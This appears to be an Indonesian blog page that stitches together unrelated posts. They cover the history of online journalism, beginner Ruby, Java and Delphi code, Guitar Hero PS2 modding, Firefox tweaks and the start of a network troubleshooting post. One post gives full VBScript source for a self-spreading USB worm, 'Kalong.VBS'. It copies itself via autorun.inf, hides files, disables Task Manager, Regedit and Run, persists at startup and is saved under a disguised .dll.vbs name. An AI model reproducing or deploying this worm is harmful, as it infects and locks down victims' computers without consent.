“Website is a collection of interlinked web pages with a related topic, usually under a single domain name, which includes an intended starting file called a “home page”. From the home page, you can get to all the other pages on the website. Also called a “web presence”. (http://www.free-webhosts.com/definition/website.php)

Dari definisi di atas dapat diperoleh karakteristik dari situs web yang didefinisikan sebagai:

Pertama, sekumpulan halaman web yang berhubungan satu sama lain, yang disatukan melalui suatu topik tertentu. Kedua, memiliki alamat unik yang membedakan dengan situs web sejenis. Ketiga, hubungan antar halaman web dimediasikan oleh suatu fitur tententu di dalamnya.

Situs web terdiri atas halaman-halaman web didalamnya. Dalam halaman-halaman web ini berbagai ragam informasi dituangkan dan disajikan. Antar halaman tersebut dihubungkan oleh sebuah fitur bernama hyperlink. Hyperlink inilah yang menjadi jembatan komunikasi antar informasi yang ada di dalam sebuah website maupun informasi lain yang ada di website lain yang terdapat dalam jaringan global internet (Sosiawan, 2003).

Halaman web adalah dokumen elektronik yang menjadi basis penyimpanan data dalam sebuah unit jaringan global situs web. Didalamnya terdapat beragam format data baik itu yang bentuknya teks, gambar, maupun file multimedia (audio video).

Dari beberapa penjelasan diatas dapat disimpulkan bahwa secara umum karakter dan batasan situs web pada prinsipnya hampir sama dengan media online. Hanya untuk lebih merincinya, dalam penelitian ini digunakan batasan dan karakter situs web sebagai media online sebagai berikut:

1. Berbasis teknologi komputer dan jaringan internet
2. Bentuk informasi data berupa dokumen elektronik
3. Kecepatan (aktualitas) informasi
4. Adanya pembaruan (updating) informasi
5. Interaktivitas
6. Personalisasi
7. Kapasitas muatan yang dapat diperbesar
8. Terhubung dengan sumber lain (hyperlink), dan
9. Memiliki bank data (database) yang terintegrasi dengan sistemnya.

Perkembangan Pers, Internet, dan Kovergensi Media

Jurnalistik pada dasarnya berkaitan erat dengan pers, namum memiliki perbedaan. Dalam arti sempit, pers hanya digolongkan sebagai produk penerbitan yang melewati proses percetakan. Pers dalam arti luas adalah meliputi pelbagai kategori dan jenis media massa, baik suratkabar, radio, televisi, film, dan sebagainya. Pengertian Press (Inggris) atau Pers (Belanda) berasal dari bahasa Latin Pressare yang berarti tekan atau cetak. Pers lalu diartikan sebagai media massa cetak (printing media). Jadi, secara umum istilah pers lazim dipakai untuk suratkabar atau majalah (Muhtadi, 1999)

Dengan demikian dapat disimpulkan bahwa ”jurnalistik” adalah bentuk komunikasinya, bentuk kegiatan dan bentuk isinya, sedangkan ”pers” adalah medium tempat jurnalistik disalurkan/disoiarkan/dipublikasikan. Jika dilihat dari hasil akhirnya, ”jurnalistik” adalah adalah hasil kegiatan pengolahan informasi yang akan disampaikan berupa berita, reportase, feature, dsb, maka ”pers” adalah suratkabarnya, majalahnya, televisinya, atau internetnya. Singkat kata pers adalah medianya, sedangkan jurnalistik adalah isinya (Muhtadi, 1999; Sumadiria, 2005; Kusumaningrat dan Kusumaningrat, 2005).

Industri pers terkait erat dengan perkembangan teknologi komunikasi, publikasi, dan informasi. Antara tahun 1880-1900, terdapat berbagai kemajuan dalam industri pers. Yang paling menonjol adalah mulai digunakannya mesin cetak cepat, sehingga deadline penulisan berita menjadi lebih panjang dan bisa ditunda hingga malam hari. Selain itu, teknologi fotografi memungkinkan ditampilkannya foto pada halaman-halaman suratkabar. Perkembangan selanjutnya dari penemuan ini adalah teknologi cetak yang dapat mencetak kertas sampai ribuan lembar setiap jam. Proses percetakan menggunakan metode typesetting, yakni huruf yang akan dicetak disusun sedemikian rupa sehingga menghasilkan hasil cetakan seperti yang diperkenalkan pertama kali oleh Gutenberg. Pada periode 1860-an merupakan tahun ditemukannya litography, yaitu proses percetakan dengan cetakan bahan kimia dan menggantikan metode sebelumnya, yaitu engraving.

Pada 1893, untuk pertama kalinya surat-suratkabar di AS menggunakan tinta warna untuk komik dan beberapa bagian di koran edisi Minggu. Pada 1899 mulai digunakan teknologi merekam ke dalam pita, walaupun belum banyak digunakan oleh kalangan jurnalis saat itu. Pada 1920-an, suratkabar dan majalah mendapatkan pesaing baru dalam pemberitaan, dengan maraknya radio berita. Namun demikian, media cetak tidak sampai kehilangan pembacanya, karena berita yang disiarkan radio lebih singkat dan sifatnya sekilas. Baru pada 1950-an perhatian masyarakat sedikit teralihkan dengan munculnya televisi. Namun kemunculan televisi tidak sampai “mematikan” media yang lain. Jadi dapat dikatakan, munculnya radio tidak mematikan media cetak, demikian juga munculnya televisi tidak menghentikan kegemaran orang mendengarkan radio. Ketiga jenis media itu memiliki karakteristik tersendiri dengan kelebihan dan kelemahan masing-masing sehingga saling melengkapi. Inilah yang menyebabkan ketiga media itu sanggup bertahan bersama-sama secara harmonis (Rivers, dkk, 2003).

Perkembangan teknologi komputer yang sangat pesat pada era 1970-1980 juga ikut mengubah cara dan proses produksi berita. Selain deadline bisa diundur menjadi lebih panjang, proses cetak, copy cetak yang bisa dilakukan secara massif, perwajahan, hingga iklan, dan marketing mengalami perubahan sangat besar dengan penggunaan komputer di industri media massa. media cetak mengalami perubahan besar dalam proses produksi. Mesin ketik yang tadinya dipergunakan secara luas untuk menghasilkan tulisan, mulai digantikan oleh komputer. Melalui komputer, media cetak tidak hanya menghasilkan tulisan yang dapat diubah tanpa membuang-buang kertas namun juga dapat mengubah suatu gambar atau foto. Hasil kerja yang berbentuk softcopy tersebut, kemudian dicetak. Hal ini tentu saja berpengaruh terhadap efisiensi biaya produksi (Straubhaar & La Rose, 2006).

Memasuki era 1990-an, penggunaan teknologi komputer tidak terbatas di ruang redaksi saja. Semakin canggihnya teknologi komputer notebook yang sudah dilengkapi modem dan teknologi wireless, serta akses pengiriman berita teks, foto, dan video melalui internet atau via satelit, telah memudahkan wartawan yang meliput di medan paling sulit sekalipun. Selain itu, pada era ini juga muncul media jurnalistik multimedia. Setiap media dan kantor berita juga dituntut untuk juga menggunakan internet ini agar tidak kalah bersaing dan demi menyebarluaskan beritanya ke berbagai kalangan. Setiap media cetak atau elektronik ternama memiliki situs berita di internet, yang updating datanya bisa dalam hitungan menit. Ada juga yang masih menyajikan edisi internetnya sama persis dengan edisi cetak.

Di sisi lain, pada tahun 2000-an, berkat perkembangan teknologi web yang pesat, muncul situs-situs pribadi yang juga memuat laporan jurnalistik pemiliknya. Istilah untuk situs pribadi ini adalah weblog dan sering disingkat menjadi blog saja. Memang tidak semua blog berisikan laporan jurnalistik. Tapi banyak yang berisi laporan jurnalistik bermutu. Senior Editor Online Journalism Review, J.D Lasica pernah menulis bahwa blog merupakan salah satu bentuk jurnalisme dan bisa dijadikan sumber untuk berita. Meski tentunya masih diperdebatkan karena harus memenuhi beberapa syarat.

Internet pada dasarnya adalah sistem jaringan antar komputer. Konsepnya adalah menjadikan personal komputer (PC) yang terdapat di seluruh dunia baik di rumah-rumah maupun di kantor sebagi terminal komunikasi serba guna yang dapat digunakan untuk menerima ataupun mengirim sinyal seperti suara, gambar, dan data (Ishadi, 1999).

Internet sebagai salah satu kata kunci yang memainkan peran penting dalam pembentukan media baru juga ditegaskan oleh pernyataan Don Tapscott, direktur Alliance of Converging Technologies, sebagai berikut :

The traditional media of the fourth estate (originally called ‘the press’) are converging with computing and telecommunications to create nothing less than a new medium of human communications –with the Net at its heart (Tapscott, dalam Dalam Riley, Patricia, et.al, http:// www.ascusc.org/jcmc/vol4/issue1/Keough.html,1998).

Media baru tersebut muncul dengan sifatnya yang semakin canggih. Karakteristik volume informasi dan pesan yang disampaikan semakin besar dan menjangkau seluruh dunia. Media baru yang dimaksudkan di sini tidak terbatas hanya pada media interaktif saja, tapi juga seluruh media konvensional yang ada. Berkat kecanggihan teknologi, media baru ini mampu menyebarkan seluruh kejadian ke seluruh penjuru dunia pada saat yang sama. McQuail (2004) merumuskan ciri-ciri media baru tersebut, antara lain :

1. Desentralisasi:
pengadaan dan pemilihan berita/informasi tidak lagi sepenuhnya berada di tangan pemasok komunikasi.

2. Berkemampuan tinggi:
pengantaran melalui media kabel dan satelit mengatasi hambatan komunikasi yang disebabkan oleh pemancar siaran lainnya.

3. Bersifat interaktif:
setiap pelaku komunikasi yang terlibat didalamnya dapat melakukan proses komunikasi timbal balik, dimana mereka dapat memilih, menjawab kembali, menukar informasi dan dihubungkan dengan yang lainnya secara langsung.

4. Fleksibel:
fleksibel dalam hal ini meliputi bentuk, isi, dan penggunaannya.

Dengan jaringan internet sebagai saluran komunikasinya dan informasi interaktif yang menjangkau seluruh dunia, peranan media baru tersebut menjadi sangat dominan. Semua media lama akan menjadi tradisional jika tidak melibatkan diri dalam jaringan cyberspace. Semua itu merupakan prasyarat agar media mampu menjadi bagian dari sistem jaringan global.

Secara nyata, praktik “jurnalisme online” dimulai ketika Mark Drudge yang terkenal lewat Drudge Report-nya membongkar skandal perselingkuhan Presiden Amerika Serikat Bill Clinton dengan Monica Lewinsky atau yang sering disebut “monicagate” (Berita skandal ini mulai menjadi perbincangan publik ketika sebuah e-mail dikirimkan ke 50 ribu pelanggan pada tanggal 18 Januari 1998 (Santana, 2005: 136). Dalam setiap aspek penting kisah ini, menurut Lasica (dalam Santana, 2005: 136),

Ketika menulis Internet Journalism and the Clinton-Lewinsky Investigation, medium internet digunakan untuk “membongkar berita-berita skandal, menyuarakan tuduhan-­tuduhan baru, dan merilis secara keseluruhan laporan final Starr atas investigasinya”. Hingga timbul pertanyaan: apakah berita ini adil dan akurat perlu dikesampingkan untuk menjangkau (fakta) fenomena jurnalisme online telah hadir? Jumalisme online telah memicu tren alternatif, mengklaim bahwajurnalisme online telah mengubah segala aktivitas jurnalistik dan kegiatan lama profesi jurnalisme. Sejak itu, jurnalisme online telah maju secara dramatis.

J. Pavlik (2001) menyebut jurnalisme online sebagai “contextualized journalism” yang mengintegrasikan tiga model komunikasi, yaitu kemampuan multimedia berdasarkan platform digital, kualitas-kualitas interaktif komunikasi online, dan fitur-fitur yang dapat ditata dengan berbagai variasi (costomizable features).Dalam kaitan ini, Rafaeli dan Newhagen (sebagaimana dikutip Santana, 2005: 137) mengidentifikasi lima perbedaan utama yang ada di antara jurnalisme online dan media massa tradisional: (1) kemampuan internet untuk mengombinasikan sejumlah media;
(2) kurangnya tirani penulis atas pembaca;
(3) tidak seorang pun dapat mengendalikan perhatian khalayak;
(4) internet dapat membuat proses komunikasi berlangsung sinambung; dan
(5) interaktifitas web.

Dengan berbagai ciri yang melekat pada jurnalisme online di atas, maka dapat dikatakan bahwa secara nyata terdapat perbedaan yang cukup mencolok pada jurnalisme online dibanding media konvensional. Dengan demikian. kelebihan dari internet sebagai media komunikasi adalah kemampuannya dalam mengubah alur komunikasi yang searah (dari komunikator ke komunikan) menjadi dua arah (dari komunikan ke komunikator).
Sifat interaktif inilah yang menyebabkan internet mejadi media yang memperlebar ruang-ruang demokrasi, sebab masyarakat tak lagi sekadar objek pemberitaan tetapi juga bisa jadi subjek.

Pemrograman Ruby Mengenal Array

Thursday, May 20, 2010





Sekarang Kita Akan Membuat Array, Array Merupkan Barisan dengan Jenis Data yang disimpan dalam Satu variabel Tunggal, sekarang kita akan membuatnya pada pemrograman Ruby,

Contoh Listing Sederhananya :

a = [1, 2, 'm', [3, 4, 5]]
print "a[] = ",a
puts
print "a[3] = ",a[3]
puts
print "a[3][2] = ",a[3][2]
puts
a[3] = 13
print a
print "\n",a[6]
puts;puts
c = %w[Suci, Hari, Stya, Lukman]
print "c[] = [",c,"]"

Pemrograman Ruby Membuat angka Faktorial




Pada Matematika Kita Sering Menjumpai yang namanya Faktorial, Berikut ini merupakan Listing yang akan Kita Gunakan Untuk membuatnya :


def faktorial(n)
hasil = 1
i = 0
n.times do
i+= 1
hasil *= i
end
return hasil
end

print "Masukkan angka : "
x = gets.to_i
print x,"! = ",faktorial(x)
puts

Pemrograman Ruby Membuat Luas Trapesium

Thursday, April 15, 2010



print "Masukan a:"
a=gets.to_i
print "Masukan b:"
b=gets.to_i
print "Masukan c:"
c=gets.to_i




Ni Listing untuk membuatnya :

puts
printf" %i\n",a
printf" ------------\n"
printf" / |\n"
printf" / |\n"
printf" / |%i\n",b
printf" / |\n"
printf" / |\n"
printf" / |\n"
printf" /_________________|\n"
printf" %i\n",c


e=(a+c)*b/2
print "Luas Trapesium adalah:",e


//Membuat Trapesium dengan Menggunakan Garis2 yang dibentuk sehingga menjadi Sebuah Trapesium dan rumus Luasnya adalah Garis a ditambah b dibagi 2

Pemrograman Ruby Membuat Luas Segitiga



Codingnya Mudah koq :


print "Masukan Alas:"
a=gets.to_f
print "Masukan Tinggi:"
t=gets.to_f

puts
printf" /|\n"
printf" / |\n"
printf" / |\n"
printf" / |%i\n",t
printf" / |\n"
printf" / |\n"
printf" /______|\n"
printf" %i\n",a


l=a*t/2
printf "Luas adalah:%f\n",l

//Untuk Membuat Segitiga kita membuat garis Diagonal kekiri dan kekanan, lalu sebuah garis Lurusnya, Kemudian untuk Rumus Luasnya 1/2 alas x tinggi. mudahkan?

Pemrograman Ruby Membuat Luas Persegi





Ni Listingnya :

print "Masukan Lebar:"
a=gets.to_i
print "Masukan Panjang:"
b=gets.to_i

puts
printf" ----------------------\n"
printf" | |\n"
printf" | |\n"
printf" | |\n"
printf" | |%i\n" ,a
printf" | |\n"
printf" | |\n"
printf" | |\n"
printf" |____________________|\n"
printf" %i \n",b

l=a*b
printf "Luas Persegi Panjang Adalah:%i\n",l


//Membuat Trapesium dengan Menggunakan Garis2 yang dibentuk sehingga menjadi Sebuah Pergeri dengan garis Lurus keatas dan Kesamping, kemudian rumus Luasnya adalah panjang x lebar

Java Membuat Lagu Anak Ayam

Monday, March 22, 2010


Masih ingat dengan Nyanyian Tekotek-Kotek Anak ayam Turun berkotek, dan sekarang kita akan membuatnya pada Java



import java.lang.*;
import java.io.*;

class anakayam { //tkj-informatika
public static void main(String[] args) {
int N=0;
int A=0;
String input=" ";
DataInputStream in = new DataInputStream(System.in);

//meminta jumlah anak ayam
try {
System.out.print("masukkan jumlah anak ayam = ");
input = in.readLine();
N = Integer.parseInt(input);
}
catch (Exception e) {}
//perulangan dimulai
A = N;
while (A > 1)
{
System.out.println("Tekotek kotek-kotek....");
System.out.println("Anak Ayam Turun berkotek....");
System.out.println("Anak Ayam turunlah " + A);
A--;
System.out.println("Mati 1 Tinggalah " + A);
System.out.println(" ");
}
System.out.println("Anak Ayam Turunlah " + A);
System.out.println("Mati 1 Tinggal Induknya");
}
}

Java Membuat Bilangan Fibonacci

Sunday, March 14, 2010




Sekarang Kita akan membuat Bilangan Fibonaci yang Angkanya di bawah 20
Ni Listing Codingnya:


class Fibonacci {
public static void main(String[] arg) {
int A=1;
int B=1;
System.out.println(A);
while (B<20) {
System.out.println(B);
B=A+B;
A=B-A;
}
}
}

Membuat Array Baris dan Kolom




Berikut ini merupakan cara Membuat Array Matriks Baris dan Kolom secara Sedenhana yang saya buat
Ni Listingnya:


procedure TForm1.Button1Click(Sender: TObject);
var
Data : array of array of integer;
Baris, kolom : word;
begin
// Menentukan panjang array untuk setiap dimensi
SetLength( Data,
StrToInt(baris_array.Text), // panjang dimensi 1
StrToInt(kolom_array.Text)); // panjang dimensi 2
//pemasukkan data ke array
for Baris := 0 to StrToInt(baris_array.Text)-1 do
for Kolom := 0 to StrToInt(kolom_array.Text)-1 do
Data[Baris,kolom] := Baris+kolom;
// mengosongkan data pd Listbox
ListBox1.Clear;
//menampilkan data array
for Baris := 0 to StrToInt(baris_array.Text)-1 do
for Kolom := 0 to StrToInt(kolom_array.Text)-1 do
Listbox1.Items.Add('[' + IntToStr(Baris) + ',' + IntToStr(Kolom)+']=' +
IntToStr(Data[Baris,kolom]));
end;
end.

Cara Membuat Guitar Hero PS2 menjadi versi Indonesia



Berikut ini merupakan Cara untuk mengedit Guitar Hero 2 menjadi Versi Indonesia atau lagu yang kita inginkan.
Dibawah ini merupakan Software-Software yang dibutuhkan :

1. Feedback untuk bikin notnya
2. GHEX (Guitar Hero Explorer) untuk masukin lagu dan chart
3. GH2NE untuk edit daftar lagu dan tulisan-tulisan lain
4. Milo Explorer untuk ganti gambar
5. CDVD GEN untuk buat file IML
6. IML2ISO untuk buat file ISO PS2
7. .Net Framework 2.0 keatas untuk menjalankan aplikasi GHEX & Feedback
8. Chart Viewer
9. Winhiip untuk copy ISO game PS2 ke HDD


Sebelum memulai langkah demi langkah menjalankankan program pengeditan Guitar Hero disarankan untuk menginstall program .Net framework
karena apabila program tersebut belum terinstall pada komputer maka ada beberapa program yang tidak bisa dijalankan karena membutuhkan kompatibel dari software tersebut.

Langkah pertama
Copykan Isi guitar hero DVD ke HDD Windows simpan pada folder ynag mudah kita ingat, awas jangan sampai binun nantinya.
Setelah pengcopy-an selesai buka GHEX pilih Archive lalu Add lalu browse dimana data Guitar Hero tadi di kopi Buka Gen lalu Main.HDR
Maka isi dari Main.HDR akan terload.

Langkah Kedua
Buka Program Feedback, maka tampilan awal yang didapat adalah Menu bantuan tekan tombol Esc untuk menghilangkan menu tersebut lalu Esc lagi untuk memilih lagu yang akan dibuat not-nya tetapi sebelumnya copykan lagu yang ingin dibuat not-nya pada folder song yang ada di folder Feedback lalu pilih New Chart dan pilih lagu yang akan kamu buat not-nya, terus cocokan not-notnya sesuai dengan bunyi guitar.
Setelah selesai membuat not-nya sekarang kita siap untuk memasukkan lagu yang baru kita buat kedata Guitar Hero tersebut.

Langkah Ketiga
Lihat kembali Guitar Hero Explorer (GHEX) pilih Song terus klik folder lagu yang ingin diganti lagunya lalu pertama-tama kita masukkan chartnya dulu caranya klik kanan file xxxx.mid pilih import lalu browse ke folder Ghex terus ke song dan pilih chart yang baru kaita buat tadi maka akan muncul jendela informasi bahwa lagu yang akan kita ganti tersebut maka pilih OK selanjutnya kita mengganti lagunya yaitu file mp3 klik kanan pada file xxxx.vgs lalu pilih import maka akan terbuka jendela dari GHEX mengenai import .vgs. klik kanan pada area kosong pilih add lalu browse dimana file mp3 yang akan kita ganti.
Ket : file mp3-nya harus sama yang kita buat chartnya tadi agar tidak keliru buat folder masing-masing lahu & chart agar memdahkan kita walaupun chart tersebut sudah diberi nama yang sama antara file mp3 dan chart yang kita buat.
Setelah terload file mp3 tadi pilih vhanelnya dengan left atau right (vhanel kiri dan kanan) lalu klik OK. Selesai deh kita mengganti lagu Guitar hero dengan kreasi kita sendiri.

Langkah Keempat
Mengganti Daftar lagu yang baru kita buat sesuai dengan judul lagu dan nama band-nya caranya
Buka GH2NE tetapi sebelumnya kita harus mengextrac file song.dtb yang ada pada data Main.HDR caranya kembali ke GHEX klik config lalu gen lalu klik mouse kanan song.dtb pilih extract lalu browse dimana kita akan menyimpannya file song.dtb tersebut. Agar tidak bingung kumpulkan jeroan-jeroannya pada folder tersendiri misalnya EDIT GH. Setelah GH2NE dibuka klik file terus open file terus browse dimana file song.dtb tadi diextract lalu open maka data lagu-lagu yang ada pada file song.dtb akan terload
lalu pilih lagu yang tadi kita sudah import chart dan file mp3-nya untuk dirobah namanya, lalu sorot dan isikan pada :
Name : (sesuai dengan judul lagu-nya)
Artist : (sesuai dengan nama band-nya atau penyayinya)
Preview : (biarkan default saja karena sudah otomatis)
Pada Band Settings : (sesuaikan suara penyanyinya misalkan Male Singer (penyanyi/ suara laki-laki), Female singer (penyanyi/ suara wanita) atau Instrumental (hanya music saja)).
Character : (terserah mau ganti atau tidak)
Guitar : Idem
Venue : Idem
Bila sudah merasa sesuai klik save.

Bila sudah tidak ada lagu yang akan di robah lagi lihat kembali GHEX masih pada song.dtb klik mouse kanan pilih import lalu browse dimana file song.dtb yang baru saja kita edit tadi klik open tunggu sampai selesai.
Selesai lah sudah kita membuat lagu versi kita sendiri. Selanjutnya msuk ketahap berikut.

Langkah Kelima
Membuat file ISO tersebut untuk dijadikan DVD atau untuk HDD PS2 disini saya menerangkan untuk dijadikan ISO HDD PS2 caranya buka program CDVDGEN bawaan dari sony bukan CDVDGEN PS2 karena akan tidak terbaca olehnya.
Buka CDVDGEN pilih Create New Project lalu open terus pilih DVD-ROM Master Disc klik open lalu masukkan Data Guita Hero satu persatu dengan urutan System.cnf, GEN (folder), IOP (folder) terakhir SLUS_333.24 (slus disesuikan) selanjutnya buka tab VOLUME pada Disc Name : SLUS-33324, Product Name : Nama filenya misal GH Indo dan pada License area pilih : America setelah itu klik FILE lalu pilih Expor IML FILE lalu save terserah dimana saja dengan namafile terserah juga atau GH Indo bila sudah keluar program CDVDGEN dan jangan menyimpannya atau terserah.
Ket sebelum mempuat file IML dengan CDVDGEN sebelumnya tutup semua program-program yang berhubungandengan pengeditan Guitar Hero.


Langkah Keenam
Buka program IML2ISO pada Tab IML File (...) klik dan browse dimana file IML yang baru kita buat tadi klik Open lalu pilih Start dan tunggu sampai proses selesai sampai ada pemberitahuan Success dan klik OK. Jadi deh tinggal kita masukkan kedalam HDD PS2.
Caranya Buka program Winhiip sudah pada tau kan kalo belum nih caranya

Pilih Select Drive pada program Winhiip pilih HDD PS2 kamu lalu klik Add Image(s) lalu Add Immage dan browse dimana File ISO yang bary saja kita buat dengan program IML2ISO tadi klik Open lalu Start dan jangan lupa Pilih Mode 3 dan Start tunggu sampai selesai import immage tersebut dan pasang HDD pada PS2 untuk dimainkan.
Enjoy Bro.

Mempercepat Mozilla Firefox




Lagi Iseng-Iseng berbagi Ilmu Tentang Meningkatkan Kecepatan Modzilla Filefox yang pernah saya Coba.

Berikut ini Merupakan Tutorialnya :

1. ketik "about:config" pada address bar dan tekan enter. turunkan scroll kebawah dan cari entries berikut :

network.http.pipelining
network.http.proxy.pipelining
network.http.max-connections-per-server
network.http.pipelining.maxrequests
network.http.max-connections
network.http.max-persistent-connections-per-proxy
network.http.max-persistent-connections-per-server


Secara normal browser akan membuat satu request untuk satu halaman web dalam satu kali . ketika kamu enable pipelining, itu akan membuat beberapa halaman dalam sekali. dan akan mempercepat page loading

2. rubah entries berikut menjadi :

Set "network.http.pipelining" menjadi "true"

Set "network.http.proxy.pipelining" menjadi "true"

set "network.http.max-connections-per-server" menjadi 32.

set "network.http.max-connections" menjadi 60.

set "network.http.max-persistent-connections-per-proxy" menjadi 16.

set "network.http.max-persistent-connections-per-server" menjadi 8.

set "network.http.pipelining.maxrequests" menjadi nilai seperti "30".

3.klik kiri (dimana saja) select New-> Integer. masukan "nglayout.initialpaint.delay" pada prefence name, kemudia set nilai menjadi "0".

klik kiri sekali lagi (dimana saja) select New-> boolean. masukan "browser.tabs.showSingleWindowModePrefs" set menjadi "true"



Fasterfox - http://addons.mozilla.org/firefox/1269/
Buat ningkatin kecepatan internet (loading pages), sangat berguna saat digunakan di komputer jaringan.

DownThemAll - http://addons.mozilla.org/firefox/201/
Buat ningkating kecepatan download (downloading), menurut developernya bisa sampai 400% peningkatannya.. (katanya sih..)

CARA MEMBUAT VIRUS DARI NOTEPAD





Lagi Iseng-iseng mencolok Flash Disk saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS (Ekstensi virus Buatan Visual Basic). Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesuai janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”.

Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives

‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs.

Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
Hhheeee artikel ini minjem teman yang hobi ternak virus maklumlah saya masih newbie je, tapi da kurubah sedikit registrinya tambah jrenggggg!!!! Jadilah orang bermanfaat bagi orang lain…….

Troubleshooting Masalah Jaringan Komputer

Wednesday, March 10, 2010


Bagaimana kita melakukan troubleshooting masalah jaringan?

Jika kita bertanggung jawab pada suatu jaringan infrastruktur corporate berskala besar, kita harus mempunyai kemampuan untuk menyelesaikan masalah yang berkaitan dengan jaringan baik masalah yang berdampak hanya pada sebuah komputer yang tidak bisa connect terhadap jaringan maupun masalah yang berimbas pada ambruknya system jaringan yang mempengaruhi system komunikasi jaringan secara global.

Jika sebuah komputer mengalami masalah komunikasi jaringan, banyak sebenarnya kemungkinan sumber masalah yang melatarbelakanginya. Permasalahan bisa jadi terletak pada stack protocol TCP/IP, bisa jadi terletak pada protocol layer data-link, atau mungkin saja dikarenakan masalah kerusakan piranti jaringan atau mungkin saja terputusnya kabel patch jaringan.



Scenario masalah jaringan berikut ini akan didiskusikan menurut jenis masalah yang mungkin saja terjadi pada sebuah komputer saja atau terjadi pada terganggunya jaringan corporate secara global, dengan menggunakan pendekatan troubleshooting masalah jaringan.

Masalah pada sebuah komputer

